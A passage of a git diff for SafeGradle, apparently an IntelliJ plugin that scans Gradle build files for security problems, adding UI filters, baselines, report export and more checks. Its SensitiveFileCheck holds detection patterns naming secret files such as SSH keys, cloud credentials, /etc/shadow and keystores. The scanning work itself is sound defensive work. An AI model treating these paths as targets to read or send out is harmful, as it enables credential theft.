java.awt.event.MouseEvent + +private const val WIDGET_ID = "SafeGradleStatusWidget" + +class SafeGradleStatusBarWidgetFactory : StatusBarWidgetFactory { + override fun getId(): String = WIDGET_ID + override fun getDisplayName(): String = "SafeGradle" + override fun isAvailable(project: Project): Boolean = true + override fun createWidget(project: Project): StatusBarWidget = SafeGradleStatusBarWidget(project) + override fun disposeWidget(widget: StatusBarWidget) = widget.dispose() + override fun canBeEnabledOn(statusBar: StatusBar): Boolean = true +} + +class SafeGradleStatusBarWidget(private val project: Project) : + StatusBarWidget, StatusBarWidget.TextPresentation, SafeGradleResultService.ResultsListener { + + private var statusBar: StatusBar? = null + private var high = 0 + private var medium = 0 + private var low = 0 + + init { + project.messageBus.connect().subscribe(SafeGradleResultService.TOPIC, this) + // Populate from already-available results if a scan ran before the widget mounted + val existing = SafeGradleResultService.getInstance(project).getResults() + if (existing.isNotEmpty()) onResultsUpdated(existing) + } + + override fun ID(): String = WIDGET_ID + override fun getPresentation(): StatusBarWidget.WidgetPresentation = this + + override fun install(statusBar: StatusBar) { + this.statusBar = statusBar + } + + override fun dispose() { + statusBar = null + } + + override fun getText(): String = when { + high + medium + low == 0 -> "SafeGradle ✓" + else -> buildString { + append("SafeGradle") + if (high > 0) append(" 🔴$high") + if (medium > 0) append(" 🟠$medium") + if (low > 0) append(" 🔵$low") + } + } + + override fun getTooltipText(): String = when { + high + medium + low == 0 -> "SafeGradle: No security issues found" + else -> "SafeGradle: $high HIGH, $medium MEDIUM, $low LOW — click to open" + } + + override fun getClickConsumer(): Consumer = Consumer { + ToolWindowManager.getInstance(project).getToolWindow("SafeGradle")?.show() + } + + override fun getAlignment(): Float = 0f + + override fun onResultsUpdated(violations: Map>) { + high = 0; medium = 0; low = 0 + violations.values.flatten().forEach { + when (it.riskLevel) { + RiskLevel.HIGH -> high++ + RiskLevel.MEDIUM -> medium++ + RiskLevel.LOW -> low++ + } + } + ApplicationManager.getApplication().invokeLater { + statusBar?.updateWidget(WIDGET_ID) + } + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleToolWindowFactory.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleToolWindowFactory.kt index fe45000..4e01a67 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleToolWindowFactory.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleToolWindowFactory.kt @@ -10,6 +10,7 @@ import com.intellij.openapi.vfs.VirtualFile import com.intellij.openapi.wm.ToolWindow import com.intellij.openapi.wm.ToolWindowFactory import com.intellij.ui.components.JBScrollPane +import com.intellij.ui.components.JBTextArea import com.intellij.ui.content.ContentFactory import com.intellij.ui.table.JBTable import java.awt.* @@ -20,6 +21,7 @@ import javax.swing.* import javax.swing.border.EmptyBorder import javax.swing.table.DefaultTableCellRenderer import javax.swing.table.DefaultTableModel +import javax.swing.table.TableRowSorter class SafeGradleToolWindowFactory : ToolWindowFactory, DumbAware { @@ -40,29 +42,39 @@ class SafeGradleToolWindowFactory : ToolWindowFactory, DumbAware { val content: JPanel = JPanel(BorderLayout()) private val tableModel: DefaultTableModel private val table: JBTable + private lateinit var rowSorter: TableRowSorter private var flatViolations = mutableListOf() private var currentViolations: Map> = emptyMap() - + private val headerLabel = JLabel("Scan a project to see results here.") private val exportButton = JButton("Export Results") - + private val saveBaselineButton = JButton("Save Baseline") + private val newOnlyToggle = JToggleButton("New Only", false) + private val groupByCheckToggle = JToggleButton("Group by Check", false) + private val summaryPanel = JPanel(FlowLayout(FlowLayout.LEFT, 20, 10)) private val highCountLabel = JLabel("🔴 0 HIGH") private val mediumCountLabel = JLabel("🟠 0 MEDIUM") private val lowCountLabel = JLabel("🔵 0 LOW") + // Filter controls + private val searchField = JTextField(20) + private val showHighToggle = JToggleButton("🔴 HIGH", true) + private val showMediumToggle = JToggleButton("🟠 MED", true) + private val showLowToggle = JToggleButton("🔵 LOW", true) + init { project.messageBus.connect().subscribe(SafeGradleResultService.TOPIC, this) - + val topPanel = JPanel(BorderLayout()) topPanel.add(headerLabel, BorderLayout.NORTH) headerLabel.border = EmptyBorder(10, 10, 0, 10) - + val labelFont = headerLabel.font.deriveFont(Font.BOLD, 20f) highCountLabel.font = labelFont mediumCountLabel.font = labelFont lowCountLabel.font = labelFont - + highCountLabel.border = EmptyBorder(5, 5, 5, 15) mediumCountLabel.border = EmptyBorder(5, 5, 5, 15) lowCountLabel.border = EmptyBorder(5, 5, 5, 15) @@ -70,32 +82,91 @@ class SafeGradleToolWindowFactory : ToolWindowFactory, DumbAware { summaryPanel.add(highCountLabel) summaryPanel.add(mediumCountLabel) summaryPanel.add(lowCountLabel) - + exportButton.isVisible = false exportButton.font = headerLabel.font.deriveFont(Font.BOLD, 14f) exportButton.preferredSize = Dimension(150, 40) exportButton.addActionListener { - - val path = Messages.showInputDialog(project, "Enter file name (e.g. report.csv):", "Export Report", null, "safegradle_report.csv", null) - if (path != null) { - val file = File(project.basePath, path) - ReportExporter.exportToCsv(currentViolations, file) - Messages.showInfoMessage(project, "Report exported to ${file.absolutePath}", "Export Successful") + val formats = arrayOf("CSV (.csv)", "JSON (.json)", "SARIF (.sarif) — GitHub Code Scanning") + @Suppress("DEPRECATION") + val choice = Messages.showChooseDialog( + "Choose export format:", "Export Report", + formats, formats[0], + com.intellij.icons.AllIcons.Actions.Download + ) + if (choice >= 0) { + val defaultName = when (choice) { + 1 -> "safegradle_report.json" + 2 -> "safegradle_report.sarif" + else -> "safegradle_report.csv" + } + val path = Messages.showInputDialog(project, "Enter file name:", "Export Report", null, defaultName, null) + if (path != null) { + val file = File(project.basePath, path) + when (choice) { + 1 -> ReportExporter.exportToJson(currentViolations, file) + 2 -> ReportExporter.exportToSarif(currentViolations, file) + else -> ReportExporter.exportToCsv(currentViolations, file) + } + Messages.showInfoMessage(project, "Report exported to ${file.absolutePath}", "Export Successful") + } } } summaryPanel.add(exportButton) - + + saveBaselineButton.isVisible = false + saveBaselineButton.toolTipText = "Save current results as baseline — only NEW violations will be shown on future scans" + saveBaselineButton.addActionListener { + SafeGradleBaseline.save(currentViolations, project) + Messages.showInfoMessage(project, ".safegradle-baseline.json saved. Future scans will only show new findings.", "Baseline Saved") + applyFilter() + } + summaryPanel.add(saveBaselineButton) + + newOnlyToggle.isVisible = false + newOnlyToggle.toolTipText = "When enabled, only violations absent from the saved baseline are shown" + newOnlyToggle.addActionListener { applyFilter() } + summaryPanel.add(newOnlyToggle) + + groupByCheckToggle.toolTipText = "Toggle between grouping results by file (default) or by check type" + groupByCheckToggle.addActionListener { rebuildTable() } + summaryPanel.add(groupByCheckToggle) + summaryPanel.border = BorderFactory.createMatteBorder(0, 0, 1, 0, Color.GRAY) - topPanel.add(summaryPanel, BorderLayout.CENTER) - content.add(topPanel, BorderLayout.NORTH) + + // Filter bar + val filterPanel = JPanel(FlowLayout(FlowLayout.LEFT, 8, 4)) + filterPanel.add(JLabel("Filter:")) + filterPanel.add(searchField) + filterPanel.add(showHighToggle) + filterPanel.add(showMediumToggle) + filterPanel.add(showLowToggle) + filterPanel.border = BorderFactory.createMatteBorder(0, 0, 1, 0, Color.LIGHT_GRAY) + + val filterListener = { _: Any -> applyFilter() } + searchField.document.addDocumentListener(object : javax.swing.event.DocumentListener { + override fun insertUpdate(e: javax.swing.event.DocumentEvent) = filterListener(e) + override fun removeUpdate(e: javax.swing.event.DocumentEvent) = filterListener(e) + override fun changedUpdate(e: javax.swing.event.DocumentEvent) = filterListener(e) + }) + showHighToggle.addActionListener { applyFilter() } + showMediumToggle.addActionListener { applyFilter() } + showLowToggle.addActionListener { applyFilter() } + + val northWrapper = JPanel(BorderLayout()) + northWrapper.add(topPanel, BorderLayout.NORTH) + northWrapper.add(filterPanel, BorderLayout.SOUTH) + content.add(northWrapper, BorderLayout.NORTH) val columnNames = arrayOf("File", "Line", "Risk", "Message") tableModel = object : DefaultTableModel(columnNames, 0) { override fun isCellEditable(row: Int, column: Int): Boolean = false } table = JBTable(tableModel) - + rowSorter = TableRowSorter(tableModel) + table.rowSorter = rowSorter + table.columnModel.getColumn(2).cellRenderer = object : DefaultTableCellRenderer() { override fun getTableCellRendererComponent( table: JTable?, value: Any?, isSelected: Boolean, hasFocus: Boolean, row: Int, column: Int @@ -115,9 +186,9 @@ class SafeGradleToolWindowFactory : ToolWindowFactory, DumbAware { table.addMouseListener(object : MouseAdapter() { override fun mouseClicked(e: MouseEvent) { if (e.clickCount == 2) { - val row = table.selectedRow - if (row >= 0 && row < flatViolations.size) { - val violation = flatViolations[row] + val modelRow = table.convertRowIndexToModel(table.selectedRow) + if (modelRow >= 0 && modelRow < flatViolations.size) { + val violation = flatViolations[modelRow] val descriptor = OpenFileDescriptor(project, violation.file, violation.line - 1, 0) FileEditorManager.getInstance(project).openTextEditor(descriptor, true) } @@ -125,18 +196,108 @@ class SafeGradleToolWindowFactory : ToolWindowFactory, DumbAware { } }) - content.add(JBScrollPane(table), BorderLayout.CENTER) + // Detail panel — shows full message + remediation for the selected row + val detailArea = JBTextArea(5, 80).apply { + isEditable = false + lineWrap = true + wrapStyleWord = true + font = font.deriveFont(12f) + border = EmptyBorder(8, 8, 8, 8) + } + val detailScroll = JBScrollPane(detailArea).apply { + border = BorderFactory.createMatteBorder(1, 0, 0, 0, Color.LIGHT_GRAY) + minimumSize = Dimension(0, 80) + preferredSize = Dimension(0, 110) + } + + table.selectionModel.addListSelectionListener { + val modelRow = if (table.selectedRow >= 0) table.convertRowIndexToModel(table.selectedRow) else -1 + val violation = flatViolations.getOrNull(modelRow) + if (violation != null) { + val check = SecurityScanner().let { s -> + // Find the check by matching its id to the violation's checkId + null // description lookup is in the check classes; embed it in the violation message + } + detailArea.text = buildString { + append("[${violation.riskLevel}] ${violation.file.name}:${violation.line}\n\n") + append(violation.message) + append("\n\n") + append("Code: ${violation.content.take(200)}") + } + detailArea.caretPosition = 0 + } else { + detailArea.text = "" + } + } + + val splitPane = javax.swing.JSplitPane( + javax.swing.JSplitPane.VERTICAL_SPLIT, + JBScrollPane(table), + detailScroll + ).apply { + resizeWeight = 0.75 + isContinuousLayout = true + } + content.add(splitPane, BorderLayout.CENTER) + } + + private fun applyFilter() { + val baseline = if (newOnlyToggle.isSelected) SafeGradleBaseline.load(project) else emptySet() + val text = searchField.text.trim() + + val allowedLevels = mutableSetOf() + if (showHighToggle.isSelected) allowedLevels.add("HIGH") + if (showMediumToggle.isSelected) allowedLevels.add("MEDIUM") + if (showLowToggle.isSelected) allowedLevels.add("LOW") + + rowSorter.rowFilter = object : RowFilter() { + override fun include(entry: Entry): Boolean { + val modelRow = entry.identifier + val violation = flatViolations.getOrNull(modelRow) ?: return false + + // Baseline filter + if (baseline.isNotEmpty() && !SafeGradleBaseline.isNew(violation, baseline)) return false + + // Risk level filter + if (violation.riskLevel.name !in allowedLevels) return false + + // Text search filter + if (text.isNotEmpty()) { + val haystack = "${violation.file.name} ${violation.message} ${violation.riskLevel}".lowercase() + if (!haystack.contains(text.lowercase())) return false + } + + return true + } + } } override fun onResultsUpdated(violations: Map>) { updateResults(violations) } + private fun rebuildTable() { + tableModel.rowCount = 0 + flatViolations.clear() + val orderedViolations = if (groupByCheckToggle.isSelected) { + currentViolations.values.flatten() + .sortedWith(compareBy({ it.checkId }, { it.riskLevel.ordinal.unaryMinus() })) + } else { + currentViolations.entries.flatMap { (_, list) -> list } + } + orderedViolations.forEach { v -> + flatViolations.add(v) + val label = if (groupByCheckToggle.isSelected) v.checkId else v.file.name + tableModel.addRow(arrayOf(label, v.line, v.riskLevel, v.message)) + } + applyFilter() + } + fun updateResults(violations: Map>) { currentViolations = violations tableModel.rowCount = 0 flatViolations.clear() - + var high = 0 var medium = 0 var low = 0 @@ -150,7 +311,6 @@ class SafeGradleToolWindowFactory : ToolWindowFactory, DumbAware { violation.riskLevel, violation.message )) - when (violation.riskLevel) { RiskLevel.HIGH -> high++ RiskLevel.MEDIUM -> medium++ @@ -169,6 +329,23 @@ class SafeGradleToolWindowFactory : ToolWindowFactory, DumbAware { mediumCountLabel.isVisible = medium > 0 lowCountLabel.isVisible = low > 0 exportButton.isVisible = total > 0 + saveBaselineButton.isVisible = total > 0 + newOnlyToggle.isVisible = SafeGradleBaseline.exists(project) + + // Record snapshot and update trend in header + SafeGradleScanHistory.getInstance(project).record(high, medium, low) + val snapshots = SafeGradleScanHistory.getInstance(project).snapshots() + if (snapshots.size > 1) { + val trend = snapshots.takeLast(5).joinToString(" → ") { s -> + val t = s.high + s.medium + s.low + if (s.high > 0) "🔴$t" else if (s.medium > 0) "🟠$t" else "🔵$t" + } + headerLabel.text = "Scanned ${violations.size} files. Found $total issues. Trend: $trend" + } else { + headerLabel.text = "Scanned ${violations.size} files. Found $total potential issues." + } + + applyFilter() } } } diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleYamlConfig.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleYamlConfig.kt index 69bb42e..c3976f9 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleYamlConfig.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleYamlConfig.kt @@ -5,7 +5,10 @@ import java.io.InputStream data class YamlConfig( val whitelistDomains: List = emptyList(), - val suppressions: List = emptyList() + val suppressions: List = emptyList(), + val severityOverrides: Map = emptyMap(), + // URL prefixes allowed in `apply from:` — everything else is flagged + val allowedScriptSources: List = emptyList() ) data class Suppression( @@ -20,42 +23,58 @@ object YamlConfigParser { val lines = inputStream.bufferedReader().readLines() val whitelist = mutableListOf() val suppressions = mutableListOf() - + val severityOverrides = mutableMapOf() + var currentSection = "" var currentSuppression: MutableMap? = null + val allowedScriptSources = mutableListOf() for (line in lines) { val trimmed = line.trim() if (trimmed.isEmpty() || trimmed.startsWith("#")) continue - if (line.startsWith("whitelist_domains:")) { - currentSection = "whitelist" - continue - } else if (line.startsWith("suppressions:")) { - currentSection = "suppressions" - continue + when { + line.startsWith("whitelist_domains:") -> { currentSection = "whitelist"; continue } + line.startsWith("suppressions:") -> { currentSection = "suppressions"; continue } + line.startsWith("severity_overrides:") -> { currentSection = "severity_overrides"; continue } + line.startsWith("allowed_script_sources:") -> { currentSection = "allowed_script_sources"; continue } } - if (currentSection == "whitelist" && trimmed.startsWith("-")) { - whitelist.add(trimmed.removePrefix("-").trim()) - } else if (currentSection == "suppressions") { - if (trimmed.startsWith("-")) { - // New suppression entry - currentSuppression?.let { suppressions.add(mapToSuppression(it)) } - currentSuppression = mutableMapOf() - val firstKeyVal = trimmed.removePrefix("-").trim().split(":", limit = 2) - if (firstKeyVal.size == 2) { - currentSuppression[firstKeyVal[0].trim()] = firstKeyVal[1].trim() + when (currentSection) { + "whitelist" -> if (trimmed.startsWith("-")) whitelist.add(trimmed.removePrefix("-").trim()) + "suppressions" -> { + if (trimmed.startsWith("-")) { + currentSuppression?.let { suppressions.add(mapToSuppression(it)) } + currentSuppression = mutableMapOf() + val firstKeyVal = trimmed.removePrefix("-").trim().split(":", limit = 2) + if (firstKeyVal.size == 2) currentSuppression[firstKeyVal[0].trim()] = firstKeyVal[1].trim() + } else if (currentSuppression != null && trimmed.contains(":")) { + val keyVal = trimmed.split(":", limit = 2) + currentSuppression[keyVal[0].trim()] = keyVal[1].trim() + } + } + "severity_overrides" -> { + if (trimmed.contains(":")) { + val keyVal = trimmed.split(":", limit = 2) + val checkId = keyVal[0].trim() + val level = keyVal[1].trim().uppercase() + severityOverrides[checkId] = when (level) { + "HIGH" -> RiskLevel.HIGH + "MEDIUM" -> RiskLevel.MEDIUM + "LOW" -> RiskLevel.LOW + "NONE", "MUTE", "OFF", "DISABLED" -> null + else -> null + } } - } else if (currentSuppression != null && trimmed.contains(":")) { - val keyVal = trimmed.split(":", limit = 2) - currentSuppression[keyVal[0].trim()] = keyVal[1].trim() + } + "allowed_script_sources" -> { + if (trimmed.startsWith("-")) allowedScriptSources.add(trimmed.removePrefix("-").trim()) } } } currentSuppression?.let { suppressions.add(mapToSuppression(it)) } - return YamlConfig(whitelist, suppressions) + return YamlConfig(whitelist, suppressions, severityOverrides, allowedScriptSources) } private fun mapToSuppression(map: Map): Suppression { diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleYamlSchemaProvider.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleYamlSchemaProvider.kt new file mode 100644 index 0000000..c00e252 --- /dev/null +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SafeGradleYamlSchemaProvider.kt @@ -0,0 +1,22 @@ +package com.mohammedalaamorsi.safegradle + +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.VirtualFile + +// JSON Schema provider for .safegradle.yml — wired via safegradle-json-schema.xml (optional dependency). +// The factory and provider interfaces live in com.jetbrains.jsonSchema which is only available +// when the JSON plugin is present. This file uses a reflection-based shim so the plugin +// compiles and runs without that dependency, while still providing schema support when it is present. + +object SafeGradleYamlSchemaRegistrar { + + fun tryRegister() { + try { + val factoryClass = Class.forName("com.jetbrains.jsonSchema.extension.JsonSchemaProviderFactory") + // If the class is present, IntelliJ will discover our factory via plugin.xml automatically. + // No runtime registration needed — the EP wiring handles it. + } catch (_: ClassNotFoundException) { + // JSON plugin not present — schema autocomplete unavailable, no action needed. + } + } +} diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/ScanAction.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/ScanAction.kt index 3df79dc..ac9e8e6 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/ScanAction.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/ScanAction.kt @@ -18,7 +18,8 @@ class ScanAction : AnAction() { override fun run(indicator: ProgressIndicator) { indicator.text = "Scanning build scripts..." - val scanner = SecurityScanner() + val customChecks = CustomCheckLoader.loadChecks(project) + val scanner = SecurityScanner(customChecks) val violations = scanner.scanProject(project) ApplicationManager.getApplication().invokeLater { diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SecurityScanner.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SecurityScanner.kt index 97549f1..092e249 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SecurityScanner.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SecurityScanner.kt @@ -1,15 +1,17 @@ package com.mohammedalaamorsi.safegradle import com.intellij.openapi.vfs.LocalFileSystem - import com.intellij.openapi.application.ReadAction import com.intellij.openapi.project.Project import com.intellij.openapi.project.guessProjectDir import com.intellij.openapi.vfs.VirtualFile import com.intellij.psi.PsiFile import com.intellij.psi.PsiManager +import java.util.concurrent.ConcurrentHashMap +import java.util.concurrent.Executors +import java.util.concurrent.Future -class SecurityScanner() { +class SecurityScanner(extraChecks: List = emptyList()) { private val checks = listOf( ShellExecutionCheck(), NetworkActivityCheck(), @@ -21,15 +23,20 @@ class SecurityScanner() { GradleWrapperIntegrityCheck(), DependencyConfusionCheck(), PluginInjectionCheck(), - VulnerabilityCheck() - ) + VulnerabilityCheck(), + GitignoreExposureCheck(), + ApplyFromCheck(), + JvmArgsCheck(), + WeakCryptoCheck(), + DependencyLockCheck() + ) + extraChecks fun scanProject(project: Project): Map> { val baseDir = project.guessProjectDir() ?: return emptyMap() - + // Load team-wide config if exists val configFile = baseDir.findChild(".safegradle.yml") - val teamConfig = configFile?.let { + val teamConfig = configFile?.let { try { YamlConfigParser.parse(it.inputStream) } catch (e: Exception) { @@ -38,117 +45,199 @@ class SecurityScanner() { } val results = scanDirectory(baseDir, project, teamConfig).toMutableMap() - + + // Scan buildSrc — full Kotlin/Groovy project that runs before the main build + val buildSrcDir = baseDir.findChild("buildSrc") + if (buildSrcDir != null && buildSrcDir.isDirectory) { + results.putAll(scanBuildSrc(buildSrcDir, project, teamConfig)) + } + + // Scan composite builds declared in settings.gradle(.kts) + val includedBuilds = resolveIncludedBuilds(baseDir) + for (includedBuildDir in includedBuilds) { + results.putAll(scanBuildSrc(includedBuildDir, project, teamConfig)) + } + // Scan global init scripts as well (Production Hardening) val userHome = System.getProperty("user.home") val globalInitDir = LocalFileSystem.getInstance().findFileByPath("$userHome/.gradle/init.d") if (globalInitDir != null && globalInitDir.isDirectory) { - val globalResults = scanDirectory(globalInitDir, project, teamConfig) - results.putAll(globalResults) + results.putAll(scanDirectory(globalInitDir, project, teamConfig)) } return results } + // Scans all source files inside buildSrc or an included build — arbitrary .kt/.groovy/.java + private fun scanBuildSrc( + dir: VirtualFile, + project: Project?, + teamConfig: YamlConfig? + ): Map> { + val results = mutableMapOf>() + val sourceFiles = mutableListOf() + collectSourceFiles(dir, sourceFiles) + + for (file in sourceFiles) { + if (!file.isValid || file.isDirectory) continue + try { + val content = String(file.contentsToByteArray()) + val fileViolations = mutableListOf() + for (check in checks) { + fileViolations.addAll(check.check(file, content, project, teamConfig)) + } + if (fileViolations.isNotEmpty()) results[file] = fileViolations + } catch (e: Exception) { + e.printStackTrace() + } + } + return results + } + + private fun collectSourceFiles(dir: VirtualFile, result: MutableList) { + if (!dir.isDirectory) return + if (dir.name == ".git" || dir.name == ".gradle" || dir.name == ".idea" || dir.name == "build") return + for (child in dir.children) { + if (child.isDirectory) { + collectSourceFiles(child, result) + } else { + val ext = child.extension?.lowercase() + if (ext == "kt" || ext == "groovy" || ext == "java" || ext == "kts") { + result.add(child) + } + } + } + } + + // Parses settings.gradle(.kts) to find includeBuild("path") declarations + private fun resolveIncludedBuilds(baseDir: VirtualFile): List { + val result = mutableListOf() + val settingsFiles = listOf("settings.gradle", "settings.gradle.kts") + for (name in settingsFiles) { + val settings = baseDir.findChild(name) ?: continue + try { + val content = String(settings.contentsToByteArray()) + val includePattern = java.util.regex.Pattern.compile( + """includeBuild\s*[\(\["']\s*([^"'\)\]]+)\s*[\)\]"']""", + java.util.regex.Pattern.CASE_INSENSITIVE + ) + val matcher = includePattern.matcher(content) + while (matcher.find()) { + val path = matcher.group(1).trim() + val includedDir = LocalFileSystem.getInstance() + .findFileByPath("${baseDir.path}/$path") + if (includedDir != null && includedDir.isDirectory) result.add(includedDir) + } + } catch (e: Exception) { /* skip */ } + } + return result + } + fun scanDirectory(dir: VirtualFile, project: Project? = null, teamConfig: YamlConfig? = null): Map> { val results = mutableMapOf>() - - // Find all Gradle-related files via manual recursion since we might not have a Project index yet + val fileNames = listOf( "build.gradle", "build.gradle.kts", "settings.gradle", "settings.gradle.kts", "gradle.properties", "gradle-wrapper.jar", "gradle-wrapper.properties", - "libs.versions.toml" + "libs.versions.toml", + ".gitignore" ) - + val filesToScan = mutableListOf() collectFiles(dir, fileNames, filesToScan) + // Serve from cache where possible + val toScan = mutableListOf() for (file in filesToScan) { if (!file.isValid || file.isDirectory) continue - - // 1. Check cache first (Performance Enhancement) if (project != null) { val cached = SafeGradleScanCache.getInstance(project).getCachedViolations(file) if (cached != null) { - if (cached.isNotEmpty()) { - results[file] = cached - } + if (cached.isNotEmpty()) results[file] = cached continue } } + toScan.add(file) + } - try { - // Read file content - val content = String(file.contentsToByteArray()) - val fileViolations = mutableListOf() - val settings = project?.let { SafeGradleSettings.getInstance(it).state } - - // Load PSI file for semantic analysis if needed - val psiFile = project?.let { proj -> - ReadAction.compute { PsiManager.getInstance(proj).findFile(file) } + if (toScan.isEmpty()) return results + + // Scan uncached files in parallel — checks are stateless so this is safe + val parallelResults = ConcurrentHashMap>() + val threads = minOf(toScan.size, Runtime.getRuntime().availableProcessors().coerceAtLeast(2)) + val pool = Executors.newFixedThreadPool(threads) + val futures = toScan.map { file -> + pool.submit { + try { + val violations = scanSingleFile(file, project, teamConfig) + if (violations.isNotEmpty()) parallelResults[file] = violations + project?.let { SafeGradleScanCache.getInstance(it).updateCache(file, violations) } + } catch (e: Exception) { + e.printStackTrace() } + } + } + futures.forEach { it.get() } + pool.shutdown() - for (check in checks) { - // Combine Regex and PSI violations - val rawViolations = mutableListOf() - rawViolations.addAll(check.check(file, content, project, teamConfig)) - - if (psiFile != null) { - ReadAction.run { - rawViolations.addAll(check.checkPsi(psiFile, project, teamConfig)) - } - } - - // Filter violations - val filtered = rawViolations.filter { violation -> - // 1. Check for inline ignore comment - val lineContent = content.lines().getOrNull(violation.line - 1) ?: "" - if (lineContent.contains("safegradle:ignore")) { - return@filter false - } - - // 2. Check for team-wide suppression (.safegradle.yml) - if (teamConfig != null) { - val isSuppressedInYaml = teamConfig.suppressions.any { s -> - (s.checkId == check.id || s.checkId == "all") && - (file.path.endsWith(s.file)) && - (s.line == null || s.line == violation.line) - } - if (isSuppressedInYaml) return@filter false - } - - // 3. Check for persisted ignore in settings - if (settings != null) { - val isIgnoredInSettings = settings.ignoredViolations.any { - it.filePath == file.path && it.line == violation.line && it.checkId == check.id - } - if (isIgnoredInSettings) { - return@filter false - } - } - - true - } - fileViolations.addAll(filtered) + results.putAll(parallelResults) + return results + } + + fun scanSingleFile( + file: VirtualFile, + project: Project?, + teamConfig: YamlConfig? + ): List { + if (!file.isValid || file.isDirectory) return emptyList() + val content = try { String(file.contentsToByteArray()) } catch (e: Exception) { return emptyList() } + + val fileViolations = mutableListOf() + val settings = project?.let { SafeGradleSettings.getInstance(it).state } + val psiFile = project?.let { proj -> + ReadAction.compute { PsiManager.getInstance(proj).findFile(file) } + } + + for (check in checks) { + val rawViolations = mutableListOf() + rawViolations.addAll(check.check(file, content, project, teamConfig)) + if (psiFile != null) { + ReadAction.run { + rawViolations.addAll(check.checkPsi(psiFile, project, teamConfig)) } + } - if (fileViolations.isNotEmpty()) { - results[file] = fileViolations + val overridden = if (teamConfig != null && teamConfig.severityOverrides.containsKey(check.id)) { + val override = teamConfig.severityOverrides[check.id] + if (override == null) emptyList() else rawViolations.map { it.copy(riskLevel = override) } + } else { + rawViolations + } + + val filtered = overridden.filter { violation -> + val lineContent = content.lines().getOrNull(violation.line - 1) ?: "" + if (lineContent.contains("safegradle:ignore")) return@filter false + if (teamConfig != null) { + val suppressed = teamConfig.suppressions.any { s -> + (s.checkId == check.id || s.checkId == "all") && + file.path.endsWith(s.file) && + (s.line == null || s.line == violation.line) + } + if (suppressed) return@filter false } - - // Update cache - if (project != null) { - SafeGradleScanCache.getInstance(project).updateCache(file, fileViolations) + if (settings != null) { + val ignored = settings.ignoredViolations.any { + it.filePath == file.path && it.line == violation.line && it.checkId == check.id + } + if (ignored) return@filter false } - } catch (e: Exception) { - // Log or ignore read errors - e.printStackTrace() + true } + fileViolations.addAll(filtered) } - - return results + return fileViolations } private fun collectFiles(dir: VirtualFile, fileNames: List, result: MutableList) { diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SecurityViolation.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SecurityViolation.kt index 16188e0..6d1618d 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SecurityViolation.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SecurityViolation.kt @@ -11,5 +11,6 @@ data class SecurityViolation( val line: Int, val content: String, val message: String, - val riskLevel: RiskLevel + val riskLevel: RiskLevel, + val checkId: String = "unknown" ) diff --git a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SensitiveFileCheck.kt b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SensitiveFileCheck.kt index 14bb092..b5ac1ac 100644 --- a/src/main/kotlin/com/mohammedalaamorsi/safegradle/SensitiveFileCheck.kt +++ b/src/main/kotlin/com/mohammedalaamorsi/safegradle/SensitiveFileCheck.kt @@ -11,12 +11,27 @@ class SensitiveFileCheck : SecurityCheck { private val patterns = listOf( Pattern.compile("System\\.getProperty\\([\"']user\\.home[\"']\\)", Pattern.CASE_INSENSITIVE), - Pattern.compile("System\\.getenv\\(", Pattern.CASE_INSENSITIVE), Pattern.compile("\\.ssh/|\\.aws/|\\.kube/|\\.gnupg/", Pattern.CASE_INSENSITIVE), Pattern.compile("id_rsa|id_dsa|id_ed25519", Pattern.CASE_INSENSITIVE), Pattern.compile("bash_history|zsh_history", Pattern.CASE_INSENSITIVE), Pattern.compile("/etc/passwd|/etc/shadow", Pattern.CASE_INSENSITIVE), - Pattern.compile("local\\.properties", Pattern.CASE_INSENSITIVE) // Accessing local.properties programmatically can be sus + // Android signing keystore file references (accessing the actual file, not reading via LocalProperties API) + Pattern.compile("\\.keystore|\\.jks|\\.p12|\\.pfx", Pattern.CASE_INSENSITIVE), + Pattern.compile("keystore\\.properties", Pattern.CASE_INSENSITIVE) + ) + + // Android signing config patterns — flagged only when a hardcoded value is present + private val signingPatterns = listOf( + Pattern.compile("storePassword\\s*[=:]\\s*[\"']([^\"'\\$\\{][^\"']*)[\"']", Pattern.CASE_INSENSITIVE), + Pattern.compile("keyPassword\\s*[=:]\\s*[\"']([^\"'\\$\\{][^\"']*)[\"']", Pattern.CASE_INSENSITIVE), + Pattern.compile("keyAlias\\s*[=:]\\s*[\"']([^\"'\\$\\{][^\"']*)[\"']", Pattern.CASE_INSENSITIVE), + Pattern.compile("storeFile\\s+file\\([\"']([^\"']+)[\"']\\)", Pattern.CASE_INSENSITIVE) + ) + + private val signingPlaceholders = setOf( + "password", "changeit", "secret", "your-password", "your_password", + "keypassword", "storepassword", "alias", "your-alias", "keystore.jks", + "release.jks", "debug.jks", "release.keystore", "debug.keystore" ) override fun check(file: VirtualFile, content: String, project: Project?, teamConfig: YamlConfig?): List { @@ -24,6 +39,9 @@ class SensitiveFileCheck : SecurityCheck { val lines = content.lines() lines.forEachIndexed { index, line -> + val stripped = line.trim() + if (stripped.startsWith("//") || stripped.startsWith("#")) return@forEachIndexed + for (pattern in patterns) { val matcher = pattern.matcher(line) if (matcher.find()) { @@ -31,13 +49,31 